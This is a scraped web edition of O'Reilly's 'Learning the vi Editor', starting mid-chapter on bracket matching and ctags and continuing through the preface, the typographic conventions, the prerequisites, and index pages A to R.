Similarly if the cursor is on one of the closing bracket characters, pressing % will move the cursor backwards to the corresponding opening bracket character. For example, move the cursor to the closing brace bracket after the printf line above and press %.

Not only does this search character help you move forward and backward through a program in long jumps, it lets you check the nesting of brackets and parentheses in source code. For example, if you put the cursor on the first { at the beginning of a C function, pressing % should move you to the } that (you think) ends the function. If it doesn't, something has gone wrong somewhere.

Another technique for searching matching brackets is to turn on the following option:

:set showmatch

Unlike %, setting showmatch (or its abbreviation sm) helps you while you're in insert mode. When you type a ) or a }, the cursor will briefly move back to the matching ( or { before returning to your current position. If the match is off-screen or doesn't exist, the terminal beeps.

7.5.3 Using Tags

The source code for a large C program will usually be spread over several files. Sometimes, it is difficult to keep track of which file contains which function definitions. To simplify matters, a UNIX command called ctags can be used together with the :tag command of vi.

NOTE: This section is of interest to C programmers, but not to those working in other languages.

The ctags command is issued at the UNIX command line. Its purpose is to create an information file that vi can use later to determine which files define which functions. By default, this file is called tags. From within vi, a command of the form:

:!ctags file.c

will create a file named tags under your current directory that contains information on the functions defined in file.c. A command like:

:!ctags *.c

will create a tags file describing all the C source files under the directory.

Now suppose your tags file contains information on all the source files that make up a C program. Also suppose that you want to look at or edit a function in the program but do not know where the function is. From within vi, the command:

:tag name

will look at the tags file to find out which file contains the definition of the function name. It will then read in the file and position the cursor on the line where the name is defined. In this way, you don't have to know which file you have to edit; you only have to decide which function you want to edit.

NOTE: If you try to use the :tag command to read in a new file and you haven't saved your current text since the last time you changed it, vi will not let you go to the new file. You must either write out your current file with the :w command and then issue :tag, or else type:

:tag! name

to override vi's reluctance to discard edits.

Previous: 7.4 Using ex Scripts | Learning the vi Editor | Next: A. Quick Reference
7.4 Using ex Scripts | Book Index | A. Quick Reference
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Learning the vi Editor

By Linda Lamb; ISBN 0-937175-67-6, 173 pages.
Fifth Edition, August 1994.
(See the catalog page for this book.)

Search the text of Learning the vi Editor.

Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Table of Contents

Preface to the 5th Edition
Preface
Chapter 1: The vi Text Editor
Chapter 2: Simple Editing
Chapter 3: Moving Around in a Hurry
Chapter 4: Beyond the Basics
Chapter 5: Introducing the ex Editor
Chapter 6: Global Replacement
Chapter 7: Advanced Editing

Appendix A: Quick Reference
Appendix B: Setting Environment Options
Appendix C: ex commands
Appendix D: Problem Checklist

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a Nutshellsed & awkLearning the Korn ShellLearning the UNIX Operating System

Copyright © 1998 O'Reilly & Associates. All Rights Reserved.


Preface to the 5th Edition

The 5th edition of Learning the vi Editor contains many improvements. We have expanded the treatment of existing topics, and we have added some completely new topics and features:

  1. The book has a quick-reference guide to all commands. This guide, located at the back of the book, can be pulled out and used as a handy reference card.

  2. ex editor commands are discussed more fully. In Chapters 5, 6, and 7, the complex features of ex and vi have been clarified by adding more examples, in topics such as regular expression syntax, global replacement, .exrc files, word abbreviations, keyboard maps, and editing scripts. A few of the examples are drawn from articles in UNIX World magazine. Walter Zintz wrote a two-part tutorial[1] on vi that taught us a few things we didn't know, and that also had a lot of clever examples illustrating features we did already cover in the book. Ray Swartz had a helpful tip in one of his columns.[2] We are grateful for the ideas in these articles. The increased emphasis on ex warranted a summary of all ex commands, so we added an alphabetical listing in Appendix C, ex commands .

    [1] "vi Tips for Power Users," UNIX World, April 1990; and "Using vi to Automate Complex Edits," UNIX World, May 1990. Both articles by Walter Zintz.

    [2] "Answers to UNIX," UNIX World, August 1990.

  3. Minor additions or corrections have been made to the discussions of basic vi commands. Many of these additions are based on comments by Kismet McDonough of O'Reilly & Associates, Inc., and by Steve Simmons, who teaches vi on the West Coast. The comments were very useful.

The following people at O'Reilly & Associates, Inc. worked on the 5th edition: Daniel Gilly wrote most of the new material; Mike Sierra produced the manuscript; and Chris Reilley designed the quick-reference guide and redesigned the original figures.

Learning the vi Editor | Next: Preface
Book Index | Preface
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Preface

Contents:
Scope of This Handbook
The Nutshell Format
What You Need to Know Before Starting

Text editing is one of the most common uses of any computer system, and vi is one of the most useful standard text editors on your system. With vi you can create new files, or edit any existing UNIX text file.

Scope of This Handbook

This book is designed to get you started using vi quickly, and to follow up with advanced skills that will let you use it effectively. The first two chapters, The vi Text Editor and Simple Editing, present some simple vi commands with which you can get started. You should practice these until they are second nature. You could stop at the end of Chapter 2, Simple Editing , having learned some elementary editing tools.

But vi is meant to do a lot more than rudimentary word processing; the variety of commands and options enables you to shortcut a lot of editing drudgery. Chapters 3 and 4 concentrate on easier ways to do tasks. For a first reading, get at least an idea of what vi can do and what commands you might harness for your specific uses. Later, you can come back to these chapters for further study.

Chapters 5, 6, and 7 provide tools that help you shift more of the editing burden to the computer. They introduce you to the ex line editor underlying vi, and show you how to issue ex commands from within vi.

The appendices provide useful reference material on vi commands, ex commands, and options available to vi.

Previous: Preface to the 5th Edition | Learning the vi Editor | Next: The Nutshell Format
Preface to the 5th Edition | Book Index | The Nutshell Format
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] The Nutshell Format

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: Scope of This Handbook Preface Next: What You Need to Know Before Starting

The Nutshell Format

The philosophy of this handbook is to give you a good overview of what we feel are vi survival materials for the new user. Learning a new editor, especially an editor with all the options of vi, can seem like an overwhelming task. We have made an effort to present basic concepts and commands in an easy-to-read and logical manner. The following sections describe the conventions used in this handbook.

Discussion of vi Commands

[i] A picture of a keyboard button, like the one on the left, marks the main discussion of that particular keyboard command or of related commands. You will find a brief introduction to the main concept before it is broken down into task-oriented sections. The appropriate command to use in each case is then presented, along with a description of the command and the proper syntax for using it.

Typefaces

In syntax descriptions and examples, what you would actually type is shown in the Courier font, as are all command names. Variables (which you would not type literally, but would replace with an actual value when you typed the command) are shown in Courier italics. Brackets indicate that a variable is optional. For example, in the syntax line:

vi [filename]

filename would be replaced by an actual filename. The brackets indicate that the vi command can be invoked without specifying a filename at all. The brackets themselves are not typed.

Certain examples show the effect of commands typed at the UNIX shell prompt. In such examples, what you actually type is shown in Courier Bold to distinguish it from the system response. For example:

$ ls
ch01 ch02 ch03 ch04

In examples, italics are used to indicate a comment which is not to be typed. Otherwise, italics are used for emphasizing special terms and for the names of files.

Keystrokes

Special keystrokes are shown in a box. For example:

iWith a [ESC]

Throughout this handbook, you will also find columns of vi commands and their results:

Keystrokes Results
ZZ
"practice" [New file] 6 lines, 320 characters

Give the write and save command, ZZ. Your file is saved as a regular UNIX file.

In the example above, the command ZZ is shown in the left column. In the window to the right is a line (or several lines) of the screen that show the result of the command. Cursor position is shown by an underscore. In this instance, since ZZ saves and writes the file, you see the status line shown when a file is written; cursor position is not shown. Below the window is an explanation of the command and its result.

Sometimes vi commands are issued by pressing the [CTRL] key and another key simultaneously. In the text, this combination keystroke is written within a box (for example, [CTRL-G]). In examples, it is written by preceding the name of the key with a caret (^). For example, ^G means to hold down [CTRL] while pressing the g key.

Problem Checklist

  • A problem checklist is included in those sections where you may run into some trouble. You can skim these checklists and go back to them when you actually encounter a problem. All of the problem checklists are also collected in Appendix D, Problem Checklist for ease of reference.

Previous: Scope of This Handbook | Learning the vi Editor | Next: What You Need to Know Before Starting
Scope of This Handbook | Book Index | What You Need to Know Before Starting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] What You Need to Know Before Starting

Learning the vi Editor

Learning the vi EditorSearch this book
Previous: The Nutshell Format Preface Next: 1. The vi Text Editor

What You Need to Know Before Starting

This booklet assumes you have already read the Nutshell Handbook, Learning the UNIX Operating System, or some other introduction to UNIX. You should already know how to:

  • Log in and log out.

  • Enter UNIX commands.

  • Change directories.

  • List files in a directory.

  • Create, copy, and remove files.

Familiarity with grep (a global search program) and wildcard characters is also helpful.

Although vi can run on almost any terminal, it must know what kind of terminal you are using. The terminal type is usually set in your .profile or .login file. See your system administrator if you are not sure whether your terminal type is defined correctly. This will avoid possible confusion for you when you start experimenting with vi.

Previous: The Nutshell Format | Learning the vi Editor | Next: 1. The vi Text Editor
The Nutshell Format | Book Index | 1. The vi Text Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: A

abbreviation command : 7.3.1. Word Abbreviation
avoiding loops : 7.3.1. Word Abbreviation
disabling : 7.3.1. Word Abbreviation
for multiple lines : 7.3.3. Protecting Keys from Interpretation by ex
listing current definitions : 7.3.1. Word Abbreviation
addresses of lines : 5.2.1. Line Addresses
append
after cursor (a) : 2.3.2. Appending Text
to end of line (A) : 2.4. More Ways to Insert Text
to existing files (:w >>) : 5.3.3. Appending to a Saved File
autowrap
2.1. vi Commands
2.2.3. Movement Within a Line
2.3.8.1. Repeat
7.1.4. Some Useful Options

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: B

braces, finding matching : 7.5.2. A Special Search Command
buffers
numbered : 4.3. Making Use of Buffers
preserve (:pre) : 4.2.3. Recovering a Buffer
recovering after a crash : 4.2.3. Recovering a Buffer
recovering numbered
2.3.5.4. Problems with Deletions
4.3.1. Recovering Deletions
renaming files : 5.3.1. Renaming the Buffer
saving commands in : 7.3.9. @-Functions
yanking to named
4.3. Making Use of Buffers
4.3.2. Yanking to Named Buffers

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: C

CAPS LOCK key : 2.5.1. Problem Checklist
change
character (r) : 2.3.3.3. Characters other
line (cc)
2.3.3.2. Lines
2.4. More Ways to Insert Text
text (c)
1. The vi Text Editor
2.3.3. Changing Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
text from cursor to end of line (C) : 2.3.3.2. Lines
word (cw)
2.3.3. Changing Text
2.3.3.1. Words
characters, deleting : (see vi commands)
command mode
1. The vi Text Editor
2.1. vi Commands
commands, vi : (see vi commands)
copy
range of lines (:co or :t) : 5.2.2. Defining a Range of Lines
text (y)
1. The vi Text Editor
2.3. Simple Edits
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
(see also yank)
(see also
(see also
(see also
(see also
(see also
(see also
(see also
text (yank and put) : 2.3.7. Copying Text
crash
recovering from : 4.2.3. Recovering a Buffer
crash, recovering from : 4.2.3. Recovering a Buffer
cursor movement
by character (h, j, k, l)
2.2.1. Single Movements
2.6. Review of Basic vi Commands
by line (+, -)
3.1.5. Movement by Line
3.1.5.1. Movement on the Current Line
by line number (G)
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
by repeating searches (n, N) : 3.3.1. Repeating Searches
by screen : 3.1. Movement by Screens
by search for a pattern (?, /) : 3.3. Movement by Searches
by text block : 3.2. Movement by Text Blocks
by word (w, b)
2.2.4. Movement by Text Blocks
2.6. Review of Basic vi Commands
search within current line (f, t) : 3.3.2. Current Line Searches
to marked place in file : 4.4. Marking Your Place
using numeric arguments : 2.2.2. Numeric Arguments
within a line (0, $)
2.2.3. Movement Within a Line
2.6. Review of Basic vi Commands
within a screen (H, M, L) : 3.1.4. Movement Within a Screen

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: D

delete
all blank lines : 6.4.3. More Examples
character (x) : 2.3.5.3. Characters
line (dd) : 2.3.5.2. Lines
range of lines (:d) : 5.2.2. Defining a Range of Lines
text (d)
2.3.5. Deleting Text Chapter
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
to end of line (D) : 2.3.5.2. Lines
to end of sentence : 3.2. Movement by Text Blocks
up to pattern (d/pattern) : 3.3.2. Current Line Searches
word (dw) : 2.3.5.1. Words
deletions
recovering
from numbered buffers : 4.3.1. Recovering Deletions
deletions, recovering : 4.3. Making Use of Buffers
from numbered buffers
2.3.5.4. Problems with Deletions
4.3.1. Recovering Deletions
with undo : 2.3.5.4. Problems with Deletions
diff command (UNIX) : 7.4.5. ex Scripts Built by diff
display
current line number (^G)
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
line numbers (:set nu)
2.2.3. Movement Within a Line
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
line(s) (ex editor) : 5.1. ex Commands
dumb terminal
2.3.1. Inserting New Text
2.3.5.2. Lines

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: E

editing and movement (combining) : 4.1. More Command Combinations
editing commands : (see vi commands and ex commands)
editor
line
1. The vi Text Editor
5.1. ex Commands
(see also ex editor)
(see also
screen
1. The vi Text Editor
(see also vi editor)
entering vi : (see opening a file or vi commands)
ESCAPE key : 2.1. vi Commands
/etc/termcap file : 7.1. Customizing vi
ex commands
abbreviate words (:ab) : 7.3.1. Word Abbreviation
allow metacharacters (:set magic) : 7.1.4. Some Useful Options
allow other .exrc files (:set exrc) : 7.1.3. Alternate Environments
append to existing files (:w >>) : 5.3.3. Appending to a Saved File
call in next of multiple files (:n) : 5.5.2. Calling In New Files
combining with vertical bar
5.2.7. Combining ex Commands
7.3.3. Protecting Keys from Interpretation by ex
confirm substitutions : 6.1. Confirming Substitutions
context-sensitive replacement
6. Global Replacement
6.2. Context-sensitive Replacement
copy lines (:co) : 5.2. Editing with ex
define paragraphs (:set para=) : 3.2. Movement by Text Blocks
define sections (:set sect=) : 3.2. Movement by Text Blocks
define shiftwidth (:set sw=) : 7.5.1. Indentation Control
define tabs (:set ts=) : 7.5.1. Indentation Control
define window size (:set w=) : 7.1.1. The :set Command
delete lines (:d) : 5.2. Editing with ex
display line (:p) : 5.1. ex Commands
display line numbers (:set nu)
2.2.3. Movement Within a Line
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
display tabs (:set list) : 7.5.1. Indentation Control
edit : 5.5. Editing Multiple Files
edit multiple files (:e) : 5.5.2. Calling In New Files
execute UNIX commands from vi : 7.2. Executing UNIX Commands
filter text through UNIX command : 7.2.1. Filtering Text Through a Command
for loop with : 7.4.1. Looping in a Shell Script
global (:g) : 6. Global Replacement
global search (:g) : 5.2.6. Global Searches
here documents : 7.4.2. Here Documents
ignore case (:set ic) : 6.3.2. Metacharacters Used in Replacement Strings
indent input (:set ai) : 7.5.1. Indentation Control
invoke on a file : 5.1. ex Commands
invoke vi (:vi) : 5.1. ex Commands
line addressing symbols : 5.2.3. Line Addressing Symbols
map command sequence : 7.3.2. Using the map Command
map function keys : 7.3.7. Mapping Function Keys
match brackets (:set sm) : 7.5.2. A Special Search Command
move lines (:m) : 5.2. Editing with ex
move text blocks by patterns : 6.4.2. Block Move by Patterns
number lines (:set nu) : 5.2.2. Defining a Range of Lines
pattern matching : 6.3. Pattern-matching Rules
preserve a buffer (:pre) : 4.2.3. Recovering a Buffer
quick reference to
A. Quick Reference
C. ex commands
quit file (:q) : 5.3. Saving and Exiting Files
quit without saving edits (:q!)
1.1.2. Problems Opening Files
1.2. Quitting Without Saving Edits
5.3. Saving and Exiting Files
read in a file (:r) : 5.4. Copying a File into Another File
replace in text block : 6.4.2. Block Move by Patterns
save : 7.3. Saving Commands
save and exit files : 5.3. Saving and Exiting Files
save in buffer : 7.3.9. @-Functions
save part of a file : 5.3.2. Saving Part of a File
save under new filename : 5.3.1. Renaming the Buffer
scripts : 7.4. Using ex Scripts
built by diff : 7.4.5. ex Scripts Built by diff
search for class of words : 6.4.1. Search for General Class of Words
search patterns : 5.2.4. Search Patterns
set ignorecase (:set ic)
7.1.1. The :set Command
7.1.4. Some Useful Options
set vi options
7.1. Customizing vi
7.1.1. The :set Command
set wrapmargin (:set wm=)
2.1. vi Commands
2.2.3. Movement Within a Line
2.3.8.1. Repeat
set wrapscan (:set ws) : 3.3.1. Repeating Searches
sort text blocks : 7.4.3. Sorting Text Blocks: A Sample ex Script
substitute (:s)
5.1. ex Commands
6. Global Replacement
syntax of : 1. The vi Text Editor
use from within vi : 5.1. ex Commands
wrap searches (:set ws) : 7.1.4. Some Useful Options
wrap words (:set wm=) : 7.1.4. Some Useful Options
write (save) and quit file (:wq) : 5.3. Saving and Exiting Files
write (save) and quit file (:x) : 5.3. Saving and Exiting Files
write (save) file (:w) : 5.3. Saving and Exiting Files
yank text between files : 5.5.3. Edits Between Files
ex editor
1. The vi Text Editor
5. Introducing the ex Editor
(see also ex commands)
(see also
EXINIT variable (vi environment) : 7.1. Customizing vi
.exrc file (vi environment)
7.1. Customizing vi
7.1.2. The .exrc File

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: F

files
append to existing : 5.3.3. Appending to a Saved File
call in next of multiple : 5.5.2. Calling In New Files
editing between : 5.5.3. Edits Between Files
editing multiple
5.5. Editing Multiple Files
5.5.2. Calling In New Files
invoking vi on multiple : 5.5.1. Invoking vi on Multiple Files one
marking a place in : 4.4. Marking Your Place
opening
(see opening a file)
(see vi commands)
(see
quit : 5.3. Saving and Exiting Files
quit and save edits
1.1.3. Saving and Quitting a File
1.2. Quitting Without Saving Edits
1.2.1. Problems Saving Files
2.6. Review of Basic vi Commands
5.3. Saving and Exiting Files
quit without saving edits
1.1.2. Problems Opening Files
1.2. Quitting Without Saving Edits
2.6. Review of Basic vi Commands
5.3. Saving and Exiting Files
reading in : 5.4. Copying a File into Another File
save as new : 5.3.1. Renaming the Buffer
saving
1.1.3. Saving and Quitting a File
5.3. Saving and Exiting Files
(see also vi commands)
(see also
saving part of : 5.3.2. Saving Part of a File
filter text through a UNIX command : 7.2.1. Filtering Text Through a Command
for loop : 7.4.1. Looping in a Shell Script
function keys, mapping : 7.3.7. Mapping Function Keys

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: G

general form of vi commands : 2.3.3.1. Words
global replacement : 6. Global Replacement
collecting lines : 6.4.4.4. Collecting Lines
confirming : 6.1. Confirming Substitutions
context-sensitive
6. Global Replacement
6.2. Context-sensitive Replacement
delete blank lines : 6.4.3. More Examples
delete variable text string : 6.4.4.1. Deleting an Unknown Block of Text
different character as pattern delimiter : 6.4.3. More Examples
inserting lines : 7.3.3. Protecting Keys from Interpretation by ex
lines that don't match : 6.4.3. More Examples
on text blocks : 6.4.2. Block Move by Patterns
one or more characters : 6.4.3. More Examples
pattern matching : 6.3. Pattern-matching Rules
repeat an ex command : 6.4.4.3. Using :g to Repeat a Command
reverse line order : 6.4.3. More Examples
reverse word order
6.4.3. More Examples
6.4.4.2. Switching Items in a Database
search for class of words : 6.4.1. Search for General Class of Words
simple
6. Global Replacement
6.2. Context-sensitive Replacement
undoing : 6.1. Confirming Substitutions
uppercase conversion : 6.4.3. More Examples
whole word
6.4. Pattern-matching Examples
6.4.3. More Examples

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: H

here documents : 7.4.2. Here Documents

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: I

indenting automatically in insert mode : 7.5.1. Indentation Control
insert
at beginning of line (I) : 2.4. More Ways to Insert Text
at cursor (i)
2.1. vi Commands
2.3.1. Inserting New Text
on new line (O, o) : 2.4. More Ways to Insert Text
text (i) : 1. The vi Text Editor
insert mode : 2.1. vi Commands
mapping : 7.3.6. Mapping Keys for Insert Mode
intelligent terminal : 2.3.1. Inserting New Text

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: J

joining lines (J) : 2.5. Joining Two Lines with J

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: L

line addresses : 5.2.1. Line Addresses
absolute : 5.2.2. Defining a Range of Lines
redefining current line : 5.2.5. Redefining the Current Line Position
relative : 5.2.3. Line Addressing Symbols
search patterns : 5.2.4. Search Patterns
symbols : 5.2.3. Line Addressing Symbols
line editor
1. The vi Text Editor
5.1. ex Commands
(see also ex editor)
(see also
looping in shell scripts : 7.4.1. Looping in a Shell Script

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: M

mapping
commands : 7.3.2. Using the map Command
examples : 7.3.4. Complex Mapping Example
editing multiple files : 7.3.5. More Examples of Mapping Keys
repeating long insertion : 7.3.5. More Examples of Mapping Keys
reusing a valid command key : 7.3.5. More Examples of Mapping Keys
surrounding word with font codes : 7.3.5. More Examples of Mapping Keys
transposing words : 7.3.5. More Examples of Mapping Keys
function keys : 7.3.7. Mapping Function Keys
insert mode : 7.3.6. Mapping Keys for Insert Mode
keys unused in vi : 7.3.2. Using the map Command
quoting special characters : 7.3.3. Protecting Keys from Interpretation by ex
special keys : 7.3.8. Mapping Other Special Keys
mark a place in a file (m) : 4.4. Marking Your Place
matching braces : 7.5.2. A Special Search Command
metacharacters
in replacement strings : 6.3.2. Metacharacters Used in Replacement Strings
in search patterns : 6.3.1. Metacharacters Used in Search Patterns
mode
command
1. The vi Text Editor
2.1. vi Commands
insert
2.1. vi Commands
7.3.6. Mapping Keys for Insert Mode
read-only : 4.2.2. Read-only Mode
move
combining with edit command
2.3.3.1. Words
4.1. More Command Combinations
range of lines (:m) : 5.2.2. Defining a Range of Lines
text (delete and put)
2.3.6. Moving Text
2.3.7. Copying Text

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: N

numeric arguments
with edit commands : 2.3.3.1. Words
with insert commands : 2.4.1. Numeric Arguments for Insert Commands
with movement commands : 2.2.2. Numeric Arguments

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: O

opening a file (vi)
1.1. Opening and Closing Files
1.1.1. Opening a File
1.1.2. Problems Opening Files

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: P

pattern matching : (see search and global replacement)
problem checklist : D. Problem Checklist
put text (p)
2.3.5.4. Problems with Deletions
2.3.6. Moving Text
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.3.2. Yanking to Named Buffers
put text (P)
2.3.6. Moving Text
2.3.7. Copying Text
4.3.2. Yanking to Named Buffers

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: Q

quick reference (vi and ex) : A. Quick Reference
quit
file (:q) : 5.3. Saving and Exiting Files
saving edits
:wq : 5.3. Saving and Exiting Files
:x : 5.3. Saving and Exiting Files
ZZ
1.1.3. Saving and Quitting a File
1.2. Quitting Without Saving Edits
1.2.1. Problems Saving Files
2.6. Review of Basic vi Commands
without saving edits (:q!)
1.1.2. Problems Opening Files
1.2. Quitting Without Saving Edits
2.6. Review of Basic vi Commands
5.3. Saving and Exiting Files

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: R

read-only mode : 4.2.2. Read-only Mode
reading in files : 5.4. Copying a File into Another File
recovering
buffers after a system crash : 4.2.3. Recovering a Buffer
deletions : 4.3. Making Use of Buffers
from numbered buffers
2.3.5.4. Problems with Deletions
4.3.1. Recovering Deletions
with u : 2.3.5.4. Problems with Deletions
redrawing the screen : 3.1.3. Redrawing the Screen
regular expressions
in replacement strings : 6.3.2. Metacharacters Used in Replacement Strings
in search patterns : 6.3.1. Metacharacters Used in Search Patterns
renaming buffers : 5.3.1. Renaming the Buffer
repeating last vi command (.)
2.3.8. Repeating or Undoing Your Last Command
2.3.8.1. Repeat
replace
character (r) : 2.3.3.3. Characters other
global : (see global replacement)
overstriking characters (R) : 2.4. More Ways to Insert Text
text : (see global replacement)

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

